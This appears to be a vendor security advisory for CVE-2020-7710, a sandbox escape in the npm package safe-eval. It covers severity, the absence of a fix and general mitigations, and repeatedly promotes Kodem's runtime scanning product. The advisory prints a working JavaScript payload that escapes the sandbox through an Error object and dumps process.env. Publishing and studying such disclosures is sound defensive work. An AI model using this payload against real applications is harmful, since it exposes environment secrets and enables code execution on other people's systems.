Summary
Sandbox Breakout / Arbitrary Code Execution in safe-eval
All versions of safe-eval are vulnerable to Sandbox Escape leading to Remote Code Execution. The package fails to restrict access to the main context through Error objects. This may allow attackers to execute arbitrary code in the system.
Evaluating the payload
(function (){
var ex = new Error
ex.__proto__ = null
ex.stack = {
match: x => {
return x.constructor.constructor("throw process.env")()
}
}
return ex
})()
prints the contents of process.env.
Impact
Untrusted input is evaluated as executable code within the application's runtime environment. Typical impact: arbitrary code execution within the application's privilege context.
CVE-2020-7710 has a CVSS score of 9.8 (Critical). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. No fixed version is listed yet, so configuration controls and monitoring matter more in the interim.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
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No fix is currently available. Consider using an alternative package until a fix is made available.
Frequently Asked Questions
- What is CVE-2020-7710? CVE-2020-7710 is a critical-severity code injection vulnerability in safe-eval (npm), affecting versions <= 0.4.1. No fixed version is listed yet. Untrusted input is evaluated as executable code within the application's runtime environment.
- How severe is CVE-2020-7710? CVE-2020-7710 has a CVSS score of 9.8 (Critical). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
- Which versions of safe-eval are affected by CVE-2020-7710? safe-eval (npm) versions <= 0.4.1 is affected.
- Is there a fix for CVE-2020-7710? No fixed version is listed for CVE-2020-7710 yet. Monitor the advisory for updates and apply mitigations in the interim.
- Is CVE-2020-7710 exploitable, and should I be worried? Whether CVE-2020-7710 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2020-7710 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix CVE-2020-7710? No fixed version is listed yet. In the interim: Never evaluate untrusted input as code. Use sandboxed evaluation environments if dynamic execution is required.